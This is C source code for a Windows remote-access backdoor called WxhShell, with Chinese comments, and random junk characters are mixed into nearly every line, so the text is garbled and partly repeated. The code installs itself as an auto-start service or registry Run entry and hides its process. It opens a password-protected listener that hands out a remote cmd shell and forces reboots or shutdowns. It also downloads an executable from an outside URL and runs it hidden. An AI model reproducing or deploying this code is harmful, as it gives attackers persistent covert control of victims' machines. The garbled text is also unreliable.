g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @x1-!
~z# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n%-0V> g`^x@rj`E if (!NtQueryInformationProcess) return 0; $M#>9QHhc mmsPLv6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <VcQ{F if(!hProcess) return 0; +(*DT9s+ Y7nvHU|+o if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q?T]MUY(L !W0v >p CloseHandle(hProcess); Jwp7gYZ ^{{ qV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (t.Nk[ if(hProcess==NULL) return 0; X8|EHb< 5;S.H#YOpO HMODULE hMod; z2c6T.1M char procName[255]; Je@v8{][| unsigned long cbNeeded; F?cK-. -N@|QK> if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eQ"E D0Cy^_ CloseHandle(hProcess); /bEAK-
cAy3^{3: if(strstr(procName,"services")) return 1; // 以服务启动 HThcn1u~^b =EIkD9u return 0; // 注册表启动 &{RDM~ } <Qq*p -+5>|N# // 主模块 xpI wrJO int StartWxhshell(LPSTR lpCmdLine) i?gSC<a {
Y~Ifj,\ SOCKET wsl; dd["dBIZ ' BOOL val=TRUE; Wf<LR3 int port=0; fatf*}eln struct sockaddr_in door; mt`.6Xz~ XM}hUJJW if(wscfg.ws_autoins) Install(); s7EinI{^ .KC++\{HE port=atoi(lpCmdLine); qVPeB,kIz {^'HL if(port<=0) port=wscfg.ws_port; +)?J#g ]HdCt 3X WSADATA data; d"NLE'R if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LF7SS;&~f tu?MY p; if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b6 M setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iI>A *,{,` door.sin_family = AF_INET; \?N2=jsu$ door.sin_addr.s_addr = inet_addr("127.0.0.1"); KYP!Rs/j. door.sin_port = htons(port); fAmz4
BZxvJQ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i?~3*#IpD closesocket(wsl); wPl%20t return 1; JLi|Td"1% } _2nx^E(pd $A`VYJtt# if(listen(wsl,2) == INVALID_SOCKET) { g*"P:n71 closesocket(wsl); H.2QKws^F return 1; Rh |nP&6 } $kKjgQS( Wxhshell(wsl); d/Q%IeEL. WSACleanup(); ?
qA]w9x E!#WnSpnK return 0; ]tDDq=+v _y3Xb`0a } '=6\v! _l]fkk[T // 以NT服务方式启动 ZW}_Qs VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7=DdrG< { V_:&S2j DWORD status = 0; `KQvJjA6 DWORD specificError = 0xfffffff; eIo7F m F/A|(AH' serviceStatus.dwServiceType = SERVICE_WIN32; F\KUZ[% serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9M9?%N:ra serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9I/N4sou serviceStatus.dwWin32ExitCode = 0; MxGW(p serviceStatus.dwServiceSpecificExitCode = 0; 3Hm/(C serviceStatus.dwCheckPoint = 0; 3{h_&Gbo'D serviceStatus.dwWaitHint = 0; pBPl6%C.X- n}77##+R&C hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2[;_d;oB @ if (hServiceStatusHandle==0) return; z"4~P3>{g Jq^T1_iqn status = GetLastError(); L~>i, if (status!=NO_ERROR) XS BA$y { I0RvnMw serviceStatus.dwCurrentState = SERVICE_STOPPED; `V3Fx{
serviceStatus.dwCheckPoint = 0; )];K .zP serviceStatus.dwWaitHint = 0; {91nL'-' serviceStatus.dwWin32ExitCode = status; Yir
[!{ serviceStatus.dwServiceSpecificExitCode = specificError; r(2uu SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q1l '7N return; :#~j:C| } HX{`VahE ~| 6[j<ziL serviceStatus.dwCurrentState = SERVICE_RUNNING; \_6/vZ%-B serviceStatus.dwCheckPoint = 0; K!]/(V(} serviceStatus.dwWaitHint = 0; hDq`Z$_+KX if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @Pzu^ } ED&
`_h7? I15{)o(8$ // 处理NT服务事件,比如:启动、停止 Y7[jqb1D VOID WINAPI NTServiceHandler(DWORD fdwControl) FjI`uP { 4X(H; switch(fdwControl) {&T_sw@[ { BFJnV.0M! case SERVICE_CONTROL_STOP: [\b0Lem serviceStatus.dwWin32ExitCode = 0; g2/8~cn8z serviceStatus.dwCurrentState = SERVICE_STOPPED; Ezv
Y"T@ serviceStatus.dwCheckPoint = 0; ;l-!)0U serviceStatus.dwWaitHint = 0; QW~1%` { QS]1daMIK< SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sa`Xf\ } az|N-?u return; we?76t:- case SERVICE_CONTROL_PAUSE: g!z&~Z: serviceStatus.dwCurrentState = SERVICE_PAUSED; yN
s,Ll~ break; *%t^;&x? case SERVICE_CONTROL_CONTINUE: ^UhBH@ti serviceStatus.dwCurrentState = SERVICE_RUNNING; h@]XBv break; Wh2tNyS case SERVICE_CONTROL_INTERROGATE: h@WhNk7"xa break; Ziu]'# }; 2Jmz(cH% SetServiceStatus(hServiceStatusHandle, &serviceStatus); [o5Hl^ } x`IEU*z# %zw1}|s#z // 标准应用程序主函数 %(G* , int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;Nj7qt { @\P;W(m.i do+.aOC // 获取操作系统版本 3+fp2 OsIsNt=GetOsVer(); ^7KH _t8 GetModuleFileName(NULL,ExeFile,MAX_PATH); e?ly H 5K?IDt7A] // 从命令行安装 'B0{_RaTb if(strpbrk(lpCmdLine,"iI")) Install(); zb<6
Ov Jh[UtYb5 // 下载执行文件 9dUravC7 if(wscfg.ws_downexe) { Nf"r4%M<6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '9j="R; WinExec(wscfg.ws_filenam,SW_HIDE); 8- %TC\: } !pdb'*,n xzZ38xIhV if(!OsIsNt) { MsGM5(r:b // 如果时win9x,隐藏进程并且设置为注册表启动 j*jo@N| HideProc(); H_X [t* 2 StartWxhshell(lpCmdLine); |3[Wa^U5 } bPt!yI: else "Yj'oE%\ if(StartFromService()) *8_wYYH // 以服务方式启动 364`IC( a StartServiceCtrlDispatcher(DispatchTable); i,4>0o? else y6,/:qm // 普通方式启动 {I #]@, StartWxhshell(lpCmdLine); ~`\?"s: B1C-J/J return 0; iJ3e1w$ } 5ZK@`jkE (l-ab2' |O9O )o ssRbhlD/*1 =========================================== [^e%@TV>d u5: q$P j=aI9p FZ,#0ZYJGP VAf1 " )pC $79=lEn, " 8'nVwb8I Y>G@0r BG #include <stdio.h> P5nO78 #include <string.h> DYxCQ
D #include <windows.h> 4^~(Mh- Mw #include <winsock2.h> NzOo0tz: #include <winsvc.h> f@DYN!Z_m #include <urlmon.h> DSk/q-'u khrb-IY@ #pragma comment (lib, "Ws2_32.lib") )V6Hl@v #pragma comment (lib, "urlmon.lib") s<_)$} aV?@s4 #define MAX_USER 100 // 最大客户端连接数 "*5hiTr8+ #define BUF_SOCK 200 // sock buffer ^,8)iV0j_ #define KEY_BUFF 255 // 输入 buffer 3#&7-o @&:ar #define REBOOT 0 // 重启 v` 7RCg` #define SHUTDOWN 1 // 关机 K4;'/cS O8u j`G 9 #define DEF_PORT 5000 // 监听端口 a]/>ra5{ %i-c0|,T4 #define REG_LEN 16 // 注册表键长度 #9xd[A: N #define SVC_LEN 80 // NT服务名长度 .5,(_p^ &[/w_|b // 从dll定义API TAF
PawH typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M|qteo typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dhr3,&+T2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M&Uj^K1 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;YX4:OBqr ez^@NK // wxhshell配置信息 _/!y)&4" struct WSCFG { YmgLzGk` int ws_port; // 监听端口 :1^R9yWA4 char ws_passstr[REG_LEN]; // 口令 &n?^$LTPY int ws_autoins; // 安装标记, 1=yes 0=no o=?C&f{ char ws_regname[REG_LEN]; // 注册表键名 ^(h+URFpA char ws_svcname[REG_LEN]; // 服务名
Mo @C9Y0 char ws_svcdisp[SVC_LEN]; // 服务显示名 MP 2~;T}~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 [E
JQ>?D char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,JN8f]a^"g int ws_downexe; // 下载执行标记, 1=yes 0=no c 8>hcV char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ``e$AS char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $8[r9L!
<5jzl }; +H#U~p$ ux3<l +jv^ // default Wxhshell configuration #x3ujJ struct WSCFG wscfg={DEF_PORT, 3*)ig@e6 "xuhuanlingzhe", yz*6W
z D 1, Ve!fU "Wxhshell", @kU@N?5e "Wxhshell", lBFMwJU) "WxhShell Service", )Ocl=H|= "Wrsky Windows CmdShell Service", P(73!DT+ "Please Input Your Password: ", Bw64 1, z;wELz1L{ "http://www.wrsky.com/wxhshell.exe", 5N*Ux4M "Wxhshell.exe" /2Bi@syxK }; e-*.Ca *`Yv.=cd // 消息定义模块 deixy.
| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -!L"') char *msg_ws_prompt="\n\r? for help\n\r#>"; ' dx1x6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !G}+E2fDA char *msg_ws_ext="\n\rExit."; 9>rPe1iv char *msg_ws_end="\n\rQuit."; vp crPVA^ char *msg_ws_boot="\n\rReboot..."; TdGnf char *msg_ws_poff="\n\rShutdown..."; L%c0 Z@[~ char *msg_ws_down="\n\rSave to "; 0#*#a13 0,Y5KE{ char *msg_ws_err="\n\rErr!"; P#/HTu5q7 char *msg_ws_ok="\n\rOK!"; Mz;[ +p 4bEf char ExeFile[MAX_PATH]; \3jW~FV int nUser = 0; R
&4Z*?S HANDLE handles[MAX_USER]; yxq}QSb \3 int OsIsNt; IMl!,(6; S#Sb ] SERVICE_STATUS serviceStatus; BEgV^\u SERVICE_STATUS_HANDLE hServiceStatusHandle; f5==";eP wL^%w9q- // 函数声明 Q\,o:ZU_ int Install(void); Yl$SW;@ int Uninstall(void); $<|lE/_] int DownloadFile(char *sURL, SOCKET wsh); Q;J`Q wkH int Boot(int flag); w7n373y% void HideProc(void); z>06hBv(?Y int GetOsVer(void); RTu4@7XP int Wxhshell(SOCKET wsl); ~|AwN [ void TalkWithClient(void *cs); H7kPM[ int CmdShell(SOCKET sock); BiZ=${y
int StartFromService(void); 79yd&5#e? int StartWxhshell(LPSTR lpCmdLine); y{a$y}7#X zn@N'R/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?}Lg)EFH VOID WINAPI NTServiceHandler( DWORD fdwControl ); oejfU;+$
E|$Oha[ // 数据结构和表定义 s{4 \xAS> SERVICE_TABLE_ENTRY DispatchTable[] = UYtuED { *VkgQ`c {wscfg.ws_svcname, NTServiceMain}, q(5+xSg"gK {NULL, NULL} \OpoBXh }; N9rBW @MK"X}3 // 自我安装 KYxBVgJ int Install(void) Kw`VrcwjT { pBC<u char svExeFile[MAX_PATH]; 35*\_9/# HKEY key; 7gS1~Q4\V2 strcpy(svExeFile,ExeFile); [!VOw@uz P~FUS%39"o // 如果是win9x系统,修改注册表设为自启动 ='E$-_ if(!OsIsNt) { CC3v%^81l^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =[<m[.)i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N6[i{;K@N{ RegCloseKey(key); ag4`n:1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M'1!<a-Mp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7a$G@ RegCloseKey(key); d'9:$!oz return 0; @lUlY2 } 41 vL"P
K } ~H}en6Rc } cxYfZ4++m else { )OsLrq/ XO
F1c3'H // 如果是NT以上系统,安装为系统服务 8S;CFyT\n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [W,-1.$!dM if (schSCManager!=0) n!He& { XL}<1-} SC_HANDLE schService = CreateService mi2o1"Jd$` ( ?&l)W~S schSCManager, fj'jNE wscfg.ws_svcname, ]wuy_+$ wscfg.ws_svcdisp, 4o9$bv SERVICE_ALL_ACCESS, DjW$?> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G(1 K9{i$ SERVICE_AUTO_START, P l{QOR SERVICE_ERROR_NORMAL, 9|S` ub' svExeFile, RwTzz]
M NULL, 1;W=!Fx NULL, e"+dTq8W NULL, s([Wn)I NULL, ZcryAm:I NULL f3
] ); o VB"f if (schService!=0) i.rU&yT% { V_L[P9 CloseServiceHandle(schService); CM~MoV[k7e CloseServiceHandle(schSCManager); -'C!"\% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a]VGUW- strcat(svExeFile,wscfg.ws_svcname); mT_GrIl[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -rDz~M+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [l[{6ZXt RegCloseKey(key); Eqphd!\#6 return 0; BGjb`U#%3 } j.QHkI1. } GzdgL"M[ CloseServiceHandle(schSCManager); &P n] } c#q"\" } A'"-m)1P !z=pP$81 return 1; M g!ra" } wR7aQg '>^Xqn // 自我卸载 xVR:;
Jy[ int Uninstall(void) _IYY08&(r { 6f}e+ 80 HKEY key; 0:dB
9 v>WB FvyD if(!OsIsNt) { [(cL/_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zeTszT) RegDeleteValue(key,wscfg.ws_regname); z`'P>.x
RegCloseKey(key); ^"tqdeCb= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g[!Cj, RegDeleteValue(key,wscfg.ws_regname); 8!j=vCv RegCloseKey(key); /`R dQ<($ return 0; 9U10d&M( } >i8~dEbB } h3h8lt_| } mG}k 3e- else { f8!l7{2%q *tAqt2{48 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tQ0=p|
T] if (schSCManager!=0) WLy7'3@ { l%bq2,-% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y\u_+CG* if (schService!=0) \DyKtrnm% { 3"B+xbe= if(DeleteService(schService)!=0) { HWR&C CloseServiceHandle(schService); d
H_2o CloseServiceHandle(schSCManager); S&|VkZR) return 0; drX4$Kdf] } Ty}R^cy{d CloseServiceHandle(schService); ;@'0T4Z&l } $9m5bQcV CloseServiceHandle(schSCManager); Heohe|an } Wy,"cT } 1Q_ ``.M 2?H@$-x> return 1; ,^!Zm^4, } GFY-IC+fc Deog4Ol"/ // 从指定url下载文件 V*kznm int DownloadFile(char *sURL, SOCKET wsh) 5{fwlA { KPg[-d HRESULT hr; (>r|j4$ char seps[]= "/"; 6DO0zNTY char *token; zCM^r <Kr char *file; KY8^BjY@ char myURL[MAX_PATH]; j>V"hf char myFILE[MAX_PATH]; z,os
MS e
Ri!\Fx strcpy(myURL,sURL); ,iohfZz token=strtok(myURL,seps); hF9B?@n?B while(token!=NULL) Cea"qNq=k { Q{`@
G"' file=token; Xv]*;Bq:SK token=strtok(NULL,seps); i~ROQMN1 } qY# m*R x1:vUHwC GetCurrentDirectory(MAX_PATH,myFILE); Fv;u1Atiw strcat(myFILE, "\\"); S{Rh'x\B strcat(myFILE, file); d[yrNB6| send(wsh,myFILE,strlen(myFILE),0); t0+t9w/fTP send(wsh,"...",3,0); T?ZOHH8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \v.HG]
/u if(hr==S_OK) Y<de9Z@ return 0; ^v#+PyW else _y|[Z; return 1; iczs8gj* Ml8E50t>; } W6hNJb 3s#|Y,{?6R // 系统电源模块
>_n:_ int Boot(int flag) 9#s,K! !3{ { 'et(:}i HANDLE hToken; aYqqq| TOKEN_PRIVILEGES tkp; NEZH<# v4X_v!CQ if(OsIsNt) { D[+|^,^> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `>dIF. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +'!h-x1y~ tkp.PrivilegeCount = 1; axHxqhO7zp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BYTXAZLb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eOO!jrT: if(flag==REBOOT) { Y=PzN3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cq-e
c7 return 0; mxtlr) } 6(!,H<bON else { r[Z g 2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R:SIs\%o return 0; 1x^W'n,HtK } ?+5"
%4o } 3 (Gygq# else { /5Gnb.zN) if(flag==REBOOT) { tsCz+MP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *g}vT8w'} return 0; [~zE,! } s0x@
u else { M'pY-/. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @^w!% ?J return 0; R4hav } !pE>O-| K } eh8<?(eK nS?S6G5h return 1; %Z-Tb OX } s?1-$|* &utS\-;G // win9x进程隐藏模块 ua6*zop void HideProc(void) WV9[DFU { gDUoc*+h BV_a-\Sa= HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0TuNA\Ug+ if ( hKernel != NULL ) LIm$Wl1U { ?STI8AdO
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {Tjtj@- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {|t? FreeLibrary(hKernel); NK*:w *SOI } [qc6Q: v=8~ZDY return; 72BzvY. } _&8KB1~ \, X?K // 获取操作系统版本 HzFt int GetOsVer(void) A
`H]q5d { DVeF(Y3& OSVERSIONINFO winfo; :Kt mSY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w|3fioLs GetVersionEx(&winfo); kG~ivB}x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /eI,]CB'z return 1; 'h+4zvI"8 else =#PudF.\ return 0; fitK2d } =r@ie>*U 9h)P8B.>M // 客户端句柄模块 b_"V%<I int Wxhshell(SOCKET wsl) Qcy+ {j] { =-#iXP@ SOCKET wsh; TO;]9`~;Mu struct sockaddr_in client; x Ps&CyI DWORD myID; YC+ZVp"v +&@l{x(, while(nUser<MAX_USER)
_j?=&tc { >LRaIU> int nSize=sizeof(client); YP@?j wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #|2g{7g* if(wsh==INVALID_SOCKET) return 1; q@=#`74 6e ABS
BtH ? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <=LsloI if(handles[nUser]==0) /ux#U]x closesocket(wsh); 9/^Bj else u9[w~U# nUser++; ,L;c{[*rh } ~wQ WWRk WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9dhFQWz" +[go7A$5 return 0; U#^:f7-$. } [&k& $04_ ob()+p.k K // 关闭 socket $DMu~wwfG void CloseIt(SOCKET wsh) iH -x { (]#
JpQ closesocket(wsh); ^[,1+WS% nUser--; Y3F.hk}O ExitThread(0); */@bNT9BgO } !D]6Cq (/UMi,Ho // 客户端请求句柄 k?*DBXJv void TalkWithClient(void *cs) bJ5z?? { mf_9O B7^n30+L SOCKET wsh=(SOCKET)cs; F[qIfh4
char pwd[SVC_LEN];
OCoRcrAx char cmd[KEY_BUFF]; $/sZYsN~T char chr[1]; "r(pK@h int i,j; t7`Pw33#kY InGbV+ I while (nUser < MAX_USER) { Ih0>]h-7 oXOO 10 if(wscfg.ws_passstr) { KPvYq?F>4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6je%LHhL //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~\(>m=|C:H //ZeroMemory(pwd,KEY_BUFF); }qX&*DU_@ i=0; :a<TV9?H0 while(i<SVC_LEN) { W}i$f -K #~qp8
w // 设置超时 vxfh1B& fd_set FdRead; 79fyn!Iz< struct timeval TimeOut; :JG}% FD_ZERO(&FdRead); D,R2wNF FD_SET(wsh,&FdRead); FbT&w4Um= TimeOut.tv_sec=8; Q`fA)6U TimeOut.tv_usec=0; ]cY'6'}Hz int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,>EY9j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ljs(<Gm)- ue2nfp if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ji?UG@ pwd=chr[0]; ap_+C~%+ if(chr[0]==0xd || chr[0]==0xa) { X-^Oz@.> pwd=0; xqZ%c/I3q break; :fQ*'m, } F4l6PGxF&\ i++; AxQ/ } { J%$.D(/ ?2/M W27w // 如果是非法用户,关闭 socket cjpl_}'L: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FCAu%lvZT } +N!{(R:"v} Sgy~Z^ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =l_"M send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O&%T_Zk@@ jC7XdYp while(1) { tq93 2M4 5qko`r@# ZeroMemory(cmd,KEY_BUFF); PUo&> 6g&nnA // 自动支持客户端 telnet标准 )&-+:u0 j=0; {1ceF while(j<KEY_BUFF) { a}{! %5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^ 9E(8DD cmd[j]=chr[0]; <:o><f+ if(chr[0]==0xa || chr[0]==0xd) { Kj5f:{Ur cmd[j]=0; Re>e|$.T break; \rO>FE } 'IszS!kY j++; 9|DC<Zn&B# } V&85<Y%Nl| lvffQ_t // 下载文件 D.f=!rT7E7 if(strstr(cmd,"http://")) { [Xg"B|FD0 send(wsh,msg_ws_down,strlen(msg_ws_down),0); HDxw2nz*R if(DownloadFile(cmd,wsh)) C I0^eaFs send(wsh,msg_ws_err,strlen(msg_ws_err),0); g?sFmD else g#*N@83C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *4E,|IJ } +f+yh0Dj else { p,/^x~m3a L&%iY7sC` switch(cmd[0]) { }vIm C [ RCr:2
Iz // 帮助 m~A/.t%= case '?': { &rubA send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /jAs`"U break; :h@:F7N _ } DFMWgBL // 安装 C/=ZNl9"fn case 'i': { 511q\w M if(Install()) |)?T([ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3IIlAzne; else U@WT;:.T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); crQuoOl7 break; kCV OeXv } CDhk!O.. // 卸载 B=7L+6 case 'r': { 1A`u0Y$g if(Uninstall()) tti.- send(wsh,msg_ws_err,strlen(msg_ws_err),0);
Nnw iH else QG.FW;/L, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K""04Ew*pV break; 4kiu*T } ;A_QI>> // 显示 wxhshell 所在路径 jsj" W&J case 'p': { l;4F,iI char svExeFile[MAX_PATH]; 4Bz~_ strcpy(svExeFile,"\n\r"); N*#SY$!y strcat(svExeFile,ExeFile); "F&uk~ b$ send(wsh,svExeFile,strlen(svExeFile),0); :n=+$Dq break; VQyDd~Za } w[iQndu // 重启 JG `QJ% case 'b': { \)bwdNWI send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *7ox_ R@ if(Boot(REBOOT)) " 1Bn/Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); b3ZPlLx6 else { YeQX13C"Z closesocket(wsh); :3k(=^%G! ExitThread(0); ][Kj^7/ } [ 6M8a8C
break; OP@PB| } |<E%hf // 关机 F n\)*; ^ case 'd': { .._wTOSq send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W;1Hyk if(Boot(SHUTDOWN)) ^J327 send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Q@+W|~ else { TSOt$7- closesocket(wsh); QS[%`-dR2 ExitThread(0); D_@^XS } ^;'3(m= break; ^vzNs>eJ } o_cj-
// 获取shell (g 8K?Q case 's': { a 3HS!/ CmdShell(wsh); {_ocW@@ closesocket(wsh); m2_B(- ExitThread(0); U7OW)tUf break; >y1/*)O9~ } %P?W^mI // 退出 ?O.&=im_ case 'x': { 6d_l[N send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '1d-N[ CloseIt(wsh); I)6)~[:' break; $
_ gMJ\{ } ,+2ytN* // 离开 ydpsPU?wj5 case 'q': { VBOq~>V6(v send(wsh,msg_ws_end,strlen(msg_ws_end),0);
djk closesocket(wsh); 3]wV`mD WSACleanup(); sx6`
g; exit(1); e%8K
A#DX break; A w83@U } K%S k{' } zD?<m
J` } .*8.{n5 mWtwp- // 提示信息 BH=vI<D if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); srUpG&Bcx
} JTx&_Ok# } @L`t/OD )5B90[M|t return; 4%B${zP(.} } 07CGHAxJ` ++xEMP) // shell模块句柄
BVG 3 T int CmdShell(SOCKET sock) P\SE_*& { =8[HC}s|$ STARTUPINFO si; "",V\m ZeroMemory(&si,sizeof(si)); k0%4&pU si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !
XA07O[@ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R:=i/P/ PROCESS_INFORMATION ProcessInfo; NFsMc0{ char cmdline[]="cmd"; |FH/Q-7[ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w+ bMDp return 0; "{|9Yis= } 74QWGw`, )'92{-A0 // 自身启动模式 wOINcEdx int StartFromService(void) 6:J @ { tFXG4+$D typedef struct 5WY..60K, { "h\{PoG DWORD ExitStatus; wC;N*0Th DWORD PebBaseAddress; Z3=t" DWORD AffinityMask; ^qGH77#z DWORD BasePriority; db4Ol= ULONG UniqueProcessId; 3Cq17A 9 ULONG InheritedFromUniqueProcessId; s+9q: } PROCESS_BASIC_INFORMATION; &!a[rvtZ+ :43K)O" PROCNTQSIP NtQueryInformationProcess; ^<7)w2ns yin"+&<T static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $U3s:VQ ' static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IKH#[jW'IB ^!!@O91T HANDLE hProcess; d2Bn`VI PROCESS_BASIC_INFORMATION pbi; ="z\ iO(9#rV HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L00,{g6wqb if(NULL == hInst ) return 0; %HpTQ \M'b% g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H@.j@l g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5a&[NN NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P
BpjE}[Q
%DbL|;z1 if (!NtQueryInformationProcess) return 0; j"7 z Zm4IN3FGLv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VX2KE@ if(!hProcess) return 0; 2X&~!%- /xWkP{ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?sfA/9" C7[_#1Oz CloseHandle(hProcess); x;?4A J{ =\eM
